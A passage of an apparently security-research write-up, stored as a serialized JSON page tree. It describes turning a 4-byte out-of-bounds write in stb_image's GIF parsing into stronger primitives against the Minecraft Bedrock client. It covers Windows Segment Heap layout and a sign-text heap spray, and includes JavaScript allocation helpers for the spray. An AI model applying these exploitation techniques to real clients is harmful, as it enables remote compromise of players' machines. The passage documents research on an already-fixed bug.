:1312},{"type":23,"tag":314,"props":148509,"children":148510},{"style":1054},[148511],{"type":28,"value":3267},{"type":23,"tag":314,"props":148513,"children":148514},{"style":338},[148515],{"type":28,"value":2005},{"type":23,"tag":314,"props":148517,"children":148518},{"class":316,"line":1141},[148519,148523,148527,148531,148535,148539,148543,148547,148551],{"type":23,"tag":314,"props":148520,"children":148521},{"style":360},[148522],{"type":28,"value":147761},{"type":23,"tag":314,"props":148524,"children":148525},{"style":338},[148526],{"type":28,"value":1312},{"type":23,"tag":314,"props":148528,"children":148529},{"style":1054},[148530],{"type":28,"value":2378},{"type":23,"tag":314,"props":148532,"children":148533},{"style":338},[148534],{"type":28,"value":1322},{"type":23,"tag":314,"props":148536,"children":148537},{"style":354},[148538],{"type":28,"value":1102},{"type":23,"tag":314,"props":148540,"children":148541},{"style":360},[148542],{"type":28,"value":36694},{"type":23,"tag":314,"props":148544,"children":148545},{"style":338},[148546],{"type":28,"value":1312},{"type":23,"tag":314,"props":148548,"children":148549},{"style":1054},[148550],{"type":28,"value":1600},{"type":23,"tag":314,"props":148552,"children":148553},{"style":338},[148554],{"type":28,"value":2005},{"type":23,"tag":314,"props":148556,"children":148557},{"class":316,"line":1173},[148558,148562,148566,148570,148574,148578,148582,148586,148590],{"type":23,"tag":314,"props":148559,"children":148560},{"style":360},[148561],{"type":28,"value":147761},{"type":23,"tag":314,"props":148563,"children":148564},{"style":338},[148565],{"type":28,"value":1312},{"type":23,"tag":314,"props":148567,"children":148568},{"style":1054},[148569],{"type":28,"value":16535},{"type":23,"tag":314,"props":148571,"children":148572},{"style":338},[148573],{"type":28,"value":1322},{"type":23,"tag":314,"props":148575,"children":148576},{"style":354},[148577],{"type":28,"value":1102},{"type":23,"tag":314,"props":148579,"children":148580},{"style":360},[148581],{"type":28,"value":36694},{"type":23,"tag":314,"props":148583,"children":148584},{"style":338},[148585],{"type":28,"value":1312},{"type":23,"tag":314,"props":148587,"children":148588},{"style":1054},[148589],{"type":28,"value":16535},{"type":23,"tag":314,"props":148591,"children":148592},{"style":338},[148593],{"type":28,"value":2005},{"type":23,"tag":314,"props":148595,"children":148596},{"class":316,"line":1208},[148597],{"type":23,"tag":314,"props":148598,"children":148599},{"style":338},[148600],{"type":28,"value":33997},{"type":23,"tag":24,"props":148602,"children":148603},{},[148604,148605,148610,148612,148617,148619,148624],{"type":28,"value":23260},{"type":23,"tag":94,"props":148606,"children":148608},{"className":148607},[],[148609],{"type":28,"value":147961},{"type":28,"value":148611}," has to set the last byte to ",{"type":23,"tag":94,"props":148613,"children":148615},{"className":148614},[],[148616],{"type":28,"value":112595},{"type":28,"value":148618}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":94,"props":148620,"children":148622},{"className":148621},[],[148623],{"type":28,"value":112595},{"type":28,"value":282},{"type":23,"tag":24,"props":148626,"children":148627},{},[148628,148630,148635,148637,148643,148644,148650],{"type":28,"value":148629},"In the code we can see that size of the ",{"type":23,"tag":94,"props":148631,"children":148633},{"className":148632},[],[148634],{"type":28,"value":147418},{"type":28,"value":148636}," allocation is controlled through ",{"type":23,"tag":94,"props":148638,"children":148640},{"className":148639},[],[148641],{"type":28,"value":148642},"g->w",{"type":28,"value":557},{"type":23,"tag":94,"props":148645,"children":148647},{"className":148646},[],[148648],{"type":28,"value":148649},"g->h",{"type":28,"value":148651}," values, both of which are read from the input file itself:",{"type":23,"tag":304,"props":148653,"children":148655},{"code":148654,"language":308,"meta":7,"className":306,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[148656],{"type":23,"tag":94,"props":148657,"children":148658},{"__ignoreMap":7},[148659,148684,148691,148698,148733,148779],{"type":23,"tag":314,"props":148660,"children":148661},{"class":316,"line":317},[148662,148666,148671,148675,148679],{"type":23,"tag":314,"props":148663,"children":148664},{"style":321},[148665],{"type":28,"value":50295},{"type":23,"tag":314,"props":148667,"children":148668},{"style":338},[148669],{"type":28,"value":148670}," stbi_uc ",{"type":23,"tag":314,"props":148672,"children":148673},{"style":354},[148674],{"type":28,"value":256},{"type":23,"tag":314,"props":148676,"children":148677},{"style":332},[148678],{"type":28,"value":146597},{"type":23,"tag":314,"props":148680,"children":148681},{"style":338},[148682],{"type":28,"value":148683},"(...)\n",{"type":23,"tag":314,"props":148685,"children":148686},{"class":316,"line":370},[148687],{"type":23,"tag":314,"props":148688,"children":148689},{"style":338},[148690],{"type":28,"value":10129},{"type":23,"tag":314,"props":148692,"children":148693},{"class":316,"line":380},[148694],{"type":23,"tag":314,"props":148695,"children":148696},{"style":338},[148697],{"type":28,"value":147159},{"type":23,"tag":314,"props":148699,"children":148700},{"class":316,"line":1091},[148701,148705,148709,148713,148717,148721,148725,148729],{"type":23,"tag":314,"props":148702,"children":148703},{"style":2284},[148704],{"type":28,"value":51895},{"type":23,"tag":314,"props":148706,"children":148707},{"style":338},[148708],{"type":28,"value":2324},{"type":23,"tag":314,"props":148710,"children":148711},{"style":360},[148712],{"type":28,"value":108550},{"type":23,"tag":314,"props":148714,"children":148715},{"style":338},[148716],{"type":28,"value":1015},{"type":23,"tag":314,"props":148718,"children":148719},{"style":360},[148720],{"type":28,"value":117973},{"type":23,"tag":314,"props":148722,"children":148723},{"style":354},[148724],{"type":28,"value":2537},{"type":23,"tag":314,"props":148726,"children":148727},{"style":1054},[148728],{"type":28,"value":1201},{"type":23,"tag":314,"props":148730,"children":148731},{"style":338},[148732],{"type":28,"value":367},{"type":23,"tag":314,"props":148734,"children":148735},{"class":316,"line":1141},[148736,148740,148744,148748,148753,148758,148762,148767,148771,148775],{"type":23,"tag":314,"props":148737,"children":148738},{"style":2284},[148739],{"type":28,"value":38534},{"type":23,"tag":314,"props":148741,"children":148742},{"style":338},[148743],{"type":28,"value":2324},{"type":23,"tag":314,"props":148745,"children":148746},{"style":354},[148747],{"type":28,"value":19859},{"type":23,"tag":314,"props":148749,"children":148750},{"style":332},[148751],{"type":28,"value":148752},"stbi__gif_header",{"type":23,"tag":314,"props":148754,"children":148755},{"style":338},[148756],{"type":28,"value":148757},"(s, g, comp,",{"type":23,"tag":314,"props":148759,"children":148760},{"style":1054},[148761],{"type":28,"value":1600},{"type":23,"tag":314,"props":148763,"children":148764},{"style":338},[148765],{"type":28,"value":148766},")) ",{"type":23,"tag":314,"props":148768,"children":148769},{"style":2284},[148770],{"type":28,"value":47707},{"type":23,"tag":314,"props":148772,"children":148773},{"style":1054},[148774],{"type":28,"value":1201},{"type":23,"tag":314,"props":148776,"children":148777},{"style":338},[148778],{"type":28,"value":2278},{"type":23,"tag":314,"props":148780,"children":148781},{"class":316,"line":1173},[148782,148787,148791,148795,148799,148804,148808,148812,148817,148821,148825,148829,148833,148837,148841,148845,148849,148853,148857],{"type":23,"tag":314,"props":148783,"children":148784},{"style":360},[148785],{"type":28,"value":148786}," g",{"type":23,"tag":314,"props":148788,"children":148789},{"style":338},[148790],{"type":28,"value":1015},{"type":23,"tag":314,"props":148792,"children":148793},{"style":360},[148794],{"type":28,"value":117973},{"type":23,"tag":314,"props":148796,"children":148797},{"style":354},[148798],{"type":28,"value":1237},{"type":23,"tag":314,"props":148800,"children":148801},{"style":338},[148802],{"type":28,"value":148803}," (stbi_uc ",{"type":23,"tag":314,"props":148805,"children":148806},{"style":354},[148807],{"type":28,"value":256},{"type":23,"tag":314,"props":148809,"children":148810},{"style":338},[148811],{"type":28,"value":2343},{"type":23,"tag":314,"props":148813,"children":148814},{"style":332},[148815],{"type":28,"value":148816},"stbi__malloc",{"type":23,"tag":314,"props":148818,"children":148819},{"style":338},[148820],{"type":28,"value":341},{"type":23,"tag":314,"props":148822,"children":148823},{"style":1054},[148824],{"type":28,"value":1567},{"type":23,"tag":314,"props":148826,"children":148827},{"style":354},[148828],{"type":28,"value":357},{"type":23,"tag":314,"props":148830,"children":148831},{"style":360},[148832],{"type":28,"value":147199},{"type":23,"tag":314,"props":148834,"children":148835},{"style":338},[148836],{"type":28,"value":1015},{"type":23,"tag":314,"props":148838,"children":148839},{"style":360},[148840],{"type":28,"value":48822},{"type":23,"tag":314,"props":148842,"children":148843},{"style":354},[148844],{"type":28,"value":357},{"type":23,"tag":314,"props":148846,"children":148847},{"style":360},[148848],{"type":28,"value":147199},{"type":23,"tag":314,"props":148850,"children":148851},{"style":338},[148852],{"type":28,"value":1015},{"type":23,"tag":314,"props":148854,"children":148855},{"style":360},[148856],{"type":28,"value":83597},{"type":23,"tag":314,"props":148858,"children":148859},{"style":338},[148860],{"type":28,"value":1025},{"type":23,"tag":24,"props":148862,"children":148863},{},[148864,148866,148871,148873,148878],{"type":28,"value":148865},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":94,"props":148867,"children":148869},{"className":148868},[],[148870],{"type":28,"value":147418},{"type":28,"value":148872}," and the value of ",{"type":23,"tag":94,"props":148874,"children":148876},{"className":148875},[],[148877],{"type":28,"value":24},{"type":28,"value":148879}," just before the OOB write happens:",{"type":23,"tag":304,"props":148881,"children":148883},{"code":148882},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[148884],{"type":23,"tag":94,"props":148885,"children":148886},{"__ignoreMap":7},[148887],{"type":28,"value":148882},{"type":23,"tag":24,"props":148889,"children":148890},{},[148891,148893,148898,148900,148905],{"type":28,"value":148892},"There are multiple within-bound writes to ",{"type":23,"tag":94,"props":148894,"children":148896},{"className":148895},[],[148897],{"type":28,"value":24},{"type":28,"value":148899},", but the last write happens just after the ",{"type":23,"tag":94,"props":148901,"children":148903},{"className":148902},[],[148904],{"type":28,"value":147418},{"type":28,"value":148906}," allocation.",{"type":23,"tag":837,"props":148908,"children":148910},{"id":148909},"summarizing-the-corruption",[148911],{"type":28,"value":148912},"Summarizing the Corruption",{"type":23,"tag":127,"props":148914,"children":148915},{},[148916,148929,148957],{"type":23,"tag":88,"props":148917,"children":148918},{},[148919,148921,148927],{"type":28,"value":148920},"A single ",{"type":23,"tag":94,"props":148922,"children":148924},{"className":148923},[],[148925],{"type":28,"value":148926},"0x01",{"type":28,"value":148928}," byte write OOB",{"type":23,"tag":88,"props":148930,"children":148931},{},[148932,148934],{"type":28,"value":148933},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":127,"props":148935,"children":148936},{},[148937,148942,148952],{"type":23,"tag":88,"props":148938,"children":148939},{},[148940],{"type":28,"value":148941},"First three bytes are controllable",{"type":23,"tag":88,"props":148943,"children":148944},{},[148945,148947],{"type":28,"value":148946},"Last byte will be ",{"type":23,"tag":94,"props":148948,"children":148950},{"className":148949},[],[148951],{"type":28,"value":112595},{"type":23,"tag":88,"props":148953,"children":148954},{},[148955],{"type":28,"value":148956},"Size of the allocation is controlled",{"type":23,"tag":88,"props":148958,"children":148959},{},[148960,148962],{"type":28,"value":148961},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":127,"props":148963,"children":148964},{},[148965,148970],{"type":23,"tag":88,"props":148966,"children":148967},{},[148968],{"type":28,"value":148969},"Allocated just before the image-parsing process",{"type":23,"tag":88,"props":148971,"children":148972},{},[148973],{"type":28,"value":148974},"Freed immediately upon parsing completion",{"type":23,"tag":18031,"props":148976,"children":148977},{},[],{"type":23,"tag":24,"props":148979,"children":148980},{},[148981,148983,148990,148992,148999],{"type":28,"value":148982},"Note that this bug was already found before (",{"type":23,"tag":31,"props":148984,"children":148987},{"href":148985,"rel":148986},"https://github.com/nothings/stb/issues/656",[35],[148988],{"type":28,"value":148989},"Github Issue",{"type":28,"value":148991},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":31,"props":148993,"children":148996},{"href":148994,"rel":148995},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[35],[148997],{"type":28,"value":148998},"this commit",{"type":28,"value":282},{"type":23,"tag":61,"props":149001,"children":149002},{"id":4674},[149003],{"type":28,"value":4677},{"type":23,"tag":24,"props":149005,"children":149006},{},[149007],{"type":28,"value":149008},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":24,"props":149010,"children":149011},{},[149012],{"type":28,"value":149013},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":837,"props":149015,"children":149017},{"id":149016},"searching-for-better-primitives",[149018],{"type":28,"value":149019},"Searching for Better Primitives",{"type":23,"tag":24,"props":149021,"children":149022},{},[149023],{"type":28,"value":149024},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":24,"props":149026,"children":149027},{},[149028,149030,149037],{"type":28,"value":149029},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":31,"props":149031,"children":149034},{"href":149032,"rel":149033},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[35],[149035],{"type":28,"value":149036},"UWP",{"type":28,"value":149038}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":837,"props":149040,"children":149042},{"id":149041},"segment-heap",[149043],{"type":28,"value":149044},"Segment Heap",{"type":23,"tag":24,"props":149046,"children":149047},{},[149048,149050,149057],{"type":28,"value":149049},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":31,"props":149051,"children":149054},{"href":149052,"rel":149053},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[35],[149055],{"type":28,"value":149056},"this talk",{"type":28,"value":149058}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":18130,"props":149060,"children":149062},{"id":149061},"low-fragmentation-heap",[149063],{"type":28,"value":149064},"Low Fragmentation Heap",{"type":23,"tag":24,"props":149066,"children":149067},{},[149068,149070,149076],{"type":28,"value":149069},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":94,"props":149071,"children":149073},{"className":149072},[],[149074],{"type":28,"value":149075},"0x3ff0",{"type":28,"value":149077}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":24,"props":149079,"children":149080},{},[149081],{"type":28,"value":149082},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":304,"props":149084,"children":149086},{"code":149085}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[149087],{"type":23,"tag":94,"props":149088,"children":149089},{"__ignoreMap":7},[149090],{"type":28,"value":149085},{"type":23,"tag":24,"props":149092,"children":149093},{},[149094],{"type":28,"value":149095},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":18130,"props":149097,"children":149099},{"id":149098},"variable-size",[149100],{"type":28,"value":149101},"Variable Size",{"type":23,"tag":24,"props":149103,"children":149104},{},[149105,149107,149113,149115,149121],{"type":28,"value":149106},"This subsegment is used for allocation sizes from ",{"type":23,"tag":94,"props":149108,"children":149110},{"className":149109},[],[149111],{"type":28,"value":149112},"0x4000",{"type":28,"value":149114}," and up to ",{"type":23,"tag":94,"props":149116,"children":149118},{"className":149117},[],[149119],{"type":28,"value":149120},"0x20_000",{"type":28,"value":149122},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":304,"props":149124,"children":149126},{"code":149125}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[149127],{"type":23,"tag":94,"props":149128,"children":149129},{"__ignoreMap":7},[149130],{"type":28,"value":149125},{"type":23,"tag":24,"props":149132,"children":149133},{},[149134,149136,149142],{"type":28,"value":149135},"The header, ",{"type":23,"tag":94,"props":149137,"children":149139},{"className":149138},[],[149140],{"type":28,"value":149141},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":149143},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":18031,"props":149145,"children":149146},{},[],{"type":23,"tag":24,"props":149148,"children":149149},{},[149150],{"type":28,"value":149151},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":24,"props":149153,"children":149154},{},[149155,149157,149164],{"type":28,"value":149156},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":31,"props":149158,"children":149161},{"href":149159,"rel":149160},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[35],[149162],{"type":28,"value":149163},"technique published",{"type":28,"value":149165}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":24,"props":149167,"children":149168},{},[149169],{"type":28,"value":149170},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":24,"props":149172,"children":149173},{},[149174],{"type":28,"value":149175},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":837,"props":149177,"children":149179},{"id":149178},"finding-a-way-to-spray-the-heap",[149180],{"type":28,"value":149181},"Finding a Way to Spray the Heap",{"type":23,"tag":24,"props":149183,"children":149184},{},[149185],{"type":28,"value":149186},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":127,"props":149188,"children":149189},{},[149190,149195,149200,149205],{"type":23,"tag":88,"props":149191,"children":149192},{},[149193],{"type":28,"value":149194},"The size of the allocation",{"type":23,"tag":88,"props":149196,"children":149197},{},[149198],{"type":28,"value":149199},"The data written into the allocated buffer",{"type":23,"tag":88,"props":149201,"children":149202},{},[149203],{"type":28,"value":149204},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":88,"props":149206,"children":149207},{},[149208],{"type":28,"value":149209},"The number of created objects (preferably unbounded)",{"type":23,"tag":24,"props":149211,"children":149212},{},[149213],{"type":28,"value":149214},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":18130,"props":149216,"children":149218},{"id":149217},"minecraft-signs",[149219],{"type":28,"value":149220},"Minecraft Signs",{"type":23,"tag":24,"props":149222,"children":149223},{},[149224],{"type":28,"value":149225},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":24,"props":149227,"children":149228},{},[149229,149231,149237],{"type":28,"value":149230},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":94,"props":149232,"children":149234},{"className":149233},[],[149235],{"type":28,"value":149236},"std::string",{"type":28,"value":282},{"type":23,"tag":24,"props":149239,"children":149240},{},[149241,149243,149248],{"type":28,"value":149242},"In Microsoft’s C++ implementation, ",{"type":23,"tag":94,"props":149244,"children":149246},{"className":149245},[],[149247],{"type":28,"value":149236},{"type":28,"value":149249}," is structured roughly as follows:",{"type":23,"tag":304,"props":149251,"children":149253},{"code":149252,"language":308,"meta":7,"className":306,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[149254],{"type":23,"tag":94,"props":149255,"children":149256},{"__ignoreMap":7},[149257,149268,149275,149287,149303,149327,149334,149345,149357],{"type":23,"tag":314,"props":149258,"children":149259},{"class":316,"line":317},[149260,149264],{"type":23,"tag":314,"props":149261,"children":149262},{"style":321},[149263],{"type":28,"value":8651},{"type":23,"tag":314,"props":149265,"children":149266},{"style":338},[149267],{"type":28,"value":84296},{"type":23,"tag":314,"props":149269,"children":149270},{"class":316,"line":370},[149271],{"type":23,"tag":314,"props":149272,"children":149273},{"style":338},[149274],{"type":28,"value":10129},{"type":23,"tag":314,"props":149276,"children":149277},{"class":316,"line":380},[149278,149283],{"type":23,"tag":314,"props":149279,"children":149280},{"style":321},[149281],{"type":28,"value":149282}," union",{"type":23,"tag":314,"props":149284,"children":149285},{"style":338},[149286],{"type":28,"value":1449},{"type":23,"tag":314,"props":149288,"children":149289},{"class":316,"line":1091},[149290,149295,149299],{"type":23,"tag":314,"props":149291,"children":149292},{"style":321},[149293],{"type":28,"value":149294}," char",{"type":23,"tag":314,"props":149296,"children":149297},{"style":354},[149298],{"type":28,"value":256},{"type":23,"tag":314,"props":149300,"children":149301},{"style":338},[149302],{"type":28,"value":15797},{"type":23,"tag":314,"props":149304,"children":149305},{"class":316,"line":1141},[149306,149310,149315,149319,149323],{"type":23,"tag":314,"props":149307,"children":149308},{"style":321},[149309],{"type":28,"value":149294},{"type":23,"tag":314,"props":149311,"children":149312},{"style":360},[149313],{"type":28,"value":149314}," buf",{"type":23,"tag":314,"props":149316,"children":149317},{"style":338},[149318],{"type":28,"value":1312},{"type":23,"tag":314,"props":149320,"children":149321},{"style":1054},[149322],{"type":28,"value":40095},{"type":23,"tag":314,"props":149324,"children":149325},{"style":338},[149326],{"type":28,"value":2005},{"type":23,"tag":314,"props":149328,"children":149329},{"class":316,"line":1173},[149330],{"type":23,"tag":314,"props":149331,"children":149332},{"style":338},[149333],{"type":28,"value":38244},{"type":23,"tag":314,"props":149335,"children":149336},{"class":316,"line":1208},[149337,149341],{"type":23,"tag":314,"props":149338,"children":149339},{"style":321},[149340],{"type":28,"value":15805},{"type":23,"tag":314,"props":149342,"children":149343},{"style":338},[149344],{"type":28,"value":123854},{"type":23,"tag":314,"props":149346,"children":149347},{"class":316,"line":1216},[149348,149352],{"type":23,"tag":314,"props":149349,"children":149350},{"style":321},[149351],{"type":28,"value":15805},{"type":23,"tag":314,"props":149353,"children":149354},{"style":338},[149355],{"type":28,"value":149356}," capacity;\n",{"type":23,"tag":314,"props":149358,"children":149359},{"class":316,"line":1301},[149360],{"type":23,"tag":314,"props":149361,"children":149362},{"style":338},[149363],{"type":28,"value":1545},{"type":23,"tag":24,"props":149365,"children":149366},{},[149367,149369,149375,149377,149382],{"type":28,"value":149368},"We are primarily interested in the union: ",{"type":23,"tag":94,"props":149370,"children":149372},{"className":149371},[],[149373],{"type":28,"value":149374},"buf",{"type":28,"value":149376}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":94,"props":149378,"children":149380},{"className":149379},[],[149381],{"type":28,"value":13196},{"type":28,"value":149383}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":24,"props":149385,"children":149386},{},[149387],{"type":28,"value":149388},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":24,"props":149390,"children":149391},{},[149392],{"type":28,"value":149393},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":18130,"props":149395,"children":149397},{"id":149396},"spraying-with-server-side-scripting",[149398],{"type":28,"value":149399},"Spraying With Server-Side Scripting",{"type":23,"tag":24,"props":149401,"children":149402},{},[149403],{"type":28,"value":149404},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":24,"props":149406,"children":149407},{},[149408,149410,149416,149417,149423],{"type":28,"value":149409},"We wrote ",{"type":23,"tag":94,"props":149411,"children":149413},{"className":149412},[],[149414],{"type":28,"value":149415},"alloc",{"type":28,"value":557},{"type":23,"tag":94,"props":149418,"children":149420},{"className":149419},[],[149421],{"type":28,"value":149422},"free",{"type":28,"value":149424}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":304,"props":149426,"children":149428},{"code":149427,"language":34864,"meta":7,"className":34862,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[149429],{"type":23,"tag":94,"props":149430,"children":149431},{"__ignoreMap":7},[149432,149440,149482,149515,149560,149572,149579,149586,149647,149674,149689,149696,149703,149732,149747,149754,149761,149769,149793,149844,149855,149862,149869,149906,149933,149940,149969,149999,150006,150033],{"type":23,"tag":314,"props":149433,"children":149434},{"class":316,"line":317},[149435],{"type":23,"tag":314,"props":149436,"children":149437},{"style":374},[149438],{"type":28,"value":149439},"// Allocate sign text in the client\n",{"type":23,"tag":314,"props":149441,"children":149442},{"class":316,"line":370},[149443,149447,149452,149456,149460,149464,149469,149473,149478],{"type":23,"tag":314,"props":149444,"children":149445},{"style":321},[149446],{"type":28,"value":30625},{"type":23,"tag":314,"props":149448,"children":149449},{"style":332},[149450],{"type":28,"value":149451}," alloc",{"type":23,"tag":314,"props":149453,"children":149454},{"style":338},[149455],{"type":28,"value":341},{"type":23,"tag":314,"props":149457,"children":149458},{"style":360},[149459],{"type":28,"value":123512},{"type":23,"tag":314,"props":149461,"children":149462},{"style":338},[149463],{"type":28,"value":778},{"type":23,"tag":314,"props":149465,"children":149466},{"style":360},[149467],{"type":28,"value":149468},"fill",{"type":23,"tag":314,"props":149470,"children":149471},{"style":354},[149472],{"type":28,"value":1102},{"type":23,"tag":314,"props":149474,"children":149475},{"style":1245},[149476],{"type":28,"value":149477},"\"A\"",{"type":23,"tag":314,"props":149479,"children":149480},{"style":338},[149481],{"type":28,"value":367},{"type":23,"tag":314,"props":149483,"children":149484},{"class":316,"line":380},[149485,149489,149493,149497,149502,149506,149511],{"type":23,"tag":314,"props":149486,"children":149487},{"style":2284},[149488],{"type":28,"value":2287},{"type":23,"tag":314,"props":149490,"children":149491},{"style":338},[149492],{"type":28,"value":2324},{"type":23,"tag":314,"props":149494,"children":149495},{"style":321},[149496],{"type":28,"value":11035},{"type":23,"tag":314,"props":149498,"children":149499},{"style":360},[149500],{"type":28,"value":149501}," sign",{"type":23,"tag":314,"props":149503,"children":149504},{"style":321},[149505],{"type":28,"value":9611},{"type":23,"tag":314,"props":149507,"children":149508},{"style":360},[149509],{"type":28,"value":149510}," signs",{"type":23,"tag":314,"props":149512,"children":149513},{"style":338},[149514],{"type":28,"value":367},{"type":23,"tag":314,"props":149516,"children":149517},{"class":316,"line":1091},[149518,149522,149526,149531,149535,149540,149544,149548,149552,149556],{"type":23,"tag":314,"props":149519,"children":149520},{"style":2284},[149521],{"type":28,"value":2527},{"type":23,"tag":314,"props":149523,"children":149524},{"style":338},[149525],{"type":28,"value":2324},{"type":23,"tag":314,"props":149527,"children":149528},{"style":360},[149529],{"type":28,"value":149530},"sign",{"type":23,"tag":314,"props":149532,"children":149533},{"style":338},[149534],{"type":28,"value":282},{"type":23,"tag":314,"props":149536,"children":149537},{"style":360},[149538],{"type":28,"value":149539},"allocated",{"type":23,"tag":314,"props":149541,"children":149542},{"style":354},[149543],{"type":28,"value":22942},{"type":23,"tag":314,"props":149545,"children":149546},{"style":360},[149547],{"type":28,"value":149501},{"type":23,"tag":314,"props":149549,"children":149550},{"style":338},[149551],{"type":28,"value":282},{"type":23,"tag":314,"props":149553,"children":149554},{"style":360},[149555],{"type":28,"value":132215},{"type":23,"tag":314,"props":149557,"children":149558},{"style":338},[149559],{"type":28,"value":367},{"type":23,"tag":314,"props":149561,"children":149562},{"class":316,"line":1141},[149563,149568],{"type":23,"tag":314,"props":149564,"children":149565},{"style":2284},[149566],{"type":28,"value":149567}," 